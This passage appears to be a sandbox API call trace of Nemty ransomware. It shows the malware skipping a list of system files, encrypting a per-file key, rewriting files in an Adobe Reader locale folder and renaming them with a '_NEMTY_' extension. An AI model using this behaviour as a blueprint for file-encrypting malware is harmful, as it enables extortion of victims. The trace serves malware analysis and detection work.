(lpString1="Spelling.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="rsa") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="NTDETECT.COM") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="ntldr") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="MSDOS.SYS") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="IO.SYS") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="boot.ini") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="boot.ini") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="ntuser.dat") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="desktop.ini") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="CONFIG.SYS") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="RECYCLER") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="bootmgr") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="programdata") returned 1 [0184.183] lstrcmpiW (lpString1="Spelling.SLV", lpString2="appdata") returned 1 [0184.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.183] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SLV", lpUsedDefaultChar=0x0) returned 12 [0184.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.184] Sleep (dwMilliseconds=0x5) [0184.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x216e4f50, dwHighDateTime=0x1d561e8)) [0184.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x216e4f50, dwHighDateTime=0x1d561e8)) [0184.187] GetLastError () returned 0x12 [0184.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.187] GetLastError () returned 0x12 [0184.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.187] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.187] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.188] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.188] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="4L24RcSAg+URv2l3Wlrlxodr6dK3czmfjapxiQckLZABaKZ+WM/LB3iV7GkFxskQ\r\n1DHoGUHY903rHBoYvPdUJSFBl058ggdydZjJyqJwQEcWQsYwXpg6QHp8RNG2Py4J\r\nRQIl4NfMk4YIG3klGmp+BBXv8duTMq9hitNDQdIPqWvrhFBTbMFaGVzpA7DLz2tw\r\n8QHX7lFyShlHUJLJ/wZFQn5sEiJpqBY7/CQ+stdwNmDwiAHeY5A18AL5+IyDJN40\r\nncZ7msWf4ay+xUsh3zd7Nzd+AVn67/Y8snhhcRzlapcR3SSWoo//gfrvCqybEfQy\r\nJi/r1Iu56BFAD56qrrSMDQ==\r\n", pcchString=0x653e5dc) returned 1 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.188] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Spelling.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\spelling.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.188] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0184.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0184.188] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.188] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0184.193] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.193] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0184.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.193] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0184.193] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.193] CloseHandle (hObject=0x2e8) returned 1 [0184.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.194] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Spelling.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\spelling.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Spelling.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\spelling.slv._nemty_kgobjgd_")) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.194] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.SLV", cAlternateFileName="")) returned 1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2=".") returned 1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2="..") returned 1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2="...") returned 1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2="windows") returned -1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2="$RECYCLE.BIN") returned 1 [0184.194] lstrcmpiW (lpString1="Updater.SLV", lpString2="rsa") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="NTDETECT.COM") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="ntldr") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="MSDOS.SYS") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="IO.SYS") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="boot.ini") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="boot.ini") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="ntuser.dat") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="desktop.ini") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="CONFIG.SYS") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="RECYCLER") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="BOOTSECT.BAK") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="bootmgr") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="programdata") returned 1 [0184.195] lstrcmpiW (lpString1="Updater.SLV", lpString2="appdata") returned 1 [0184.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.SLV", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.SLV", lpUsedDefaultChar=0x0) returned 11 [0184.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.196] Sleep (dwMilliseconds=0x5) [0184.317] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21815a50, dwHighDateTime=0x1d561e8)) [0184.317] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21815a50, dwHighDateTime=0x1d561e8)) [0184.317] GetLastError () returned 0x0 [0184.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.317] GetLastError () returned 0x0 [0184.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.317] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.317] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.317] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.317] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.317] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="xT7P3CYRyAahVzwdOB/qzzFa77fnkOl5BswbGHybHpZTesliBBlWq9J23ehrZlNX\r\nTLgdrkirOHYXjNKsB3XeGnrCLkNgjEr5KFPgFDX5wbjKvZoL5Ij4gBBQMEFCW0tc\r\niu0uhV3n8nQSJ6vdOEfQzcbYRKzVe5qm90KWGCc4vars50T6TvM2Q70L+Vgxbmsy\r\noIXnrDalXePfxSwaF2vbAP+kWzkQAoda15RtwZIEIjgDE6aCW9/831jRiXKfhyng\r\nCCOGYAxf7YgDo/D2QY5tF/1zO4bxShVEtd/IvYg0oxYKA9epONjNoBft4qIbWAgi\r\nmM0yRY+atluYvsHAkBOkfg==\r\n", pcchString=0x653e5dc) returned 1 [0184.317] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Updater.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\updater.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.318] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0184.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0184.318] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.319] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0184.322] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.322] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0184.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.322] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0184.322] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.322] CloseHandle (hObject=0x2e8) returned 1 [0184.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.323] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Updater.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\updater.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Updater.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\updater.slv._nemty_kgobjgd_")) returned 1 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.324] FindNextFileW (in: 